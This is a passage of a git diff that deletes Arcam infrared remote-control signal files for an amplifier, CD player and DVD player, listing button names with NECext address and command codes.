00 00 -command: 08 00 00 00 -# -name: VID_SW:_AUX -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_CD/LD -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_DVD -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_TAPE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_TV -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_VCR -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: VID_SW:_VIDEO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 09 00 00 00 -# -name: ADVANCED_SETUP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0A 00 00 00 -# -name: PL:_MODE:_PANORAMA -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0B 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0C 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0D 00 00 00 -# -name: THX:_RE_EQ_OFF -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0E 00 00 00 -# -name: THX:_RE_EQ_ON -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 0F 00 00 00 -# -name: OTF_ADJ:_CENTER_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 10 00 00 00 -# -name: OTF_ADJ:_CENTER_- -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 11 00 00 00 -# -name: OTF_ADJ:_SUBWOOFER_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 12 00 00 00 -# -name: OTF_ADJ:_SUBWOOFER_- -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 13 00 00 00 -# -name: THX:_THX_ON -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 15 00 00 00 -# -name: THX:_THX_OFF -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 16 00 00 00 -# -name: PL:_MODE:_MUSIC -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 17 00 00 00 -# -name: PL:_MODE:_MOVIE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 18 00 00 00 -# -name: PL:_CENTER_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 19 00 00 00 -# -name: DIGITAL -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1A 00 00 00 -# -name: 8_CHANNEL_INPUT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1B 00 00 00 -# -name: PRO_LOGIC_II -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1C 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1D 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 25 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 26 00 00 00 -# -name: PL:_MODE:_MATRIX -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 27 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 28 00 00 00 -# -name: PL:_MODE:_PRO_LOGIC -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 29 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2A 00 00 00 -# -name: PL:_CENTER_- -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 2F 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 30 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 31 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 32 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 33 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 34 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 35 00 00 00 -# -name: INPUT:_TV -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 36 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 37 00 00 00 -# -name: INPUT:_VIDEO -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 38 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 38 00 00 00 -# -name: INPUT:_VCR -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 39 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 39 00 00 00 -# -name: INPUT:_CD/LD -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3A 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3B 00 00 00 -# -name: INPUT:_AUX -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3C 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3D 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir deleted file mode 100644 index b4ce80fc9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/0,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: REVERSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir deleted file mode 100644 index f682558a2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/16,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir deleted file mode 100644 index ac5f8d2d3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/CD Player/20,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 12 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: OPEN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 7C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir deleted file mode 100644 index 56088d6d2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/16,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: + -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: +A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: -A -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir deleted file mode 100644 index 3160192ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Arcam/DVD Player/25,-1.ir +++ /dev/null @@ -1,1334 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: 0A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: 1A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: TRACK_1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: 2A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: TRACK_2 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: 3A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: TRACK_3 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: 4A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: TRACK_4 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: 5A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: TRACK_5 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: 6A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: TRACK_6 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: 7A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: TRACK_7 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: 8A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: TRACK_8 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: 9A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: TRACK_9 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 09 00 00 00 -# -name: TRACK_10 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0A 00 00 00 -# -name: TRACK_11 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: TRACK_12 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: POWERA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0C 00 00 00 -# -name: TRACK_13 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: TRACK_14 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0E 00 00 00 -# -name: TRACK_15 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0F 00 00 00 -# -name: TRACK_16 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: TRACK_17 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: DISPLAY_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: TRACK_18 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: DISP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: DISP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 12 00 00 00 -# -name: TRACK_19 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 13 00 00 00 -# -name: TRACK_20 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 14 00 00 00 -# -name: TRACK_21 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 15 00 00 00 -# -name: TRACK_22 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 16 00 00 00 -# -name: TRACK_23 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 17 00 00 00 -# -name: TRACK_24 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 18 00 00 00 -# -name: TRACK_25 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 19 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_TOGGLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1D 00 00 00 -# -name: SLOWF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SLOW_FORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: >A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SLOW_+_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1E 00 00 00 -# -name: SLOWR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: SLOW_REWIND -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 1F 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: >IA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: TRACK_FORWARD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: NEXT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 20 00 00 00 -# -name: SKIPB -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: SKIPB_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: TRACK_BACK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: I< -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 21 00 00 00 -# -name: I> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: >>A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: TRIM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: FWD_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 34 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: PLAY_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: PLAYA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: PLAY_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: STOP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: STOPA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: TRACK_BACK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: STOP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 36 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3A 00 00 00 -# -name: CLEARA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3A 00 00 00 -# -name: MARK_AB -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3B 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3B 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3B 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3B 00 00 00 -# -name: A/BA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 3B 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: PROGRAM_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: PMODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: RANDOM_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 40 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: SUBTITLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: SUBTITLES -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: SUBTITLESA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: SUBTITLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 41 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: TITLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: TITLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 42 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 43 00 00 00 -# -name: MENU_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 43 00 00 00 -# -name: MENUA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 43 00 00 00 -# -name: MENU_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 43 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 44 00 00 00 -# -name: ZOOM_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 44 00 00 00 -# -name: ZOOM_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 44 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: AUDIO_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: AUDIO_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 45 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: MEM_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: MEM_(BOOKMARK) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: MEMORY_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 46 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 48 00 00 00 -# -name: RETURN_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 48 00 00 00 -# -name: RETURN_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 48 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: ANGLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: ANGLE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 49 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4A 00 00 00 -# -name: SETUP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4A 00 00 00 -# -name: SETUP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4A 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4B 00 00 00 -# -name: STATUS_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4B 00 00 00 -# -name: STATUS_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4B 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: SEARCH_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: SEARCH_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4C 00 00 00 -# -name: PL -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4D 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4D 00 00 00 -# -name: MODE_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 4D 00 00 00 -# -name: RIGHT_CURSOR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: RIGHT_CURSOR_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: RIGHTA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: C_RIGHT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 50 00 00 00 -# -name: LEFT_CURSOR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: LEFT_CURSOR_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: LEFTA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: C_LEFT_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 51 00 00 00 -# -name: DOWN_CURSOR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: DOWN_CURSOR_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: DOWNA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: C_DOWN_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 55 00 00 00 -# -name: UP_CURSOR -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: UP_CURSOR_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: UPA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: C_UP_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 56 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: OK_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: OKA -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: CURSOR_SELECT_(OK) -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: OK_A -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 57 00 00 00 -# -name: DISCRETE_ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 7B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 7B 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 7B 00 00 00 -# -name: DISCRETE_OFF -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 7C 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 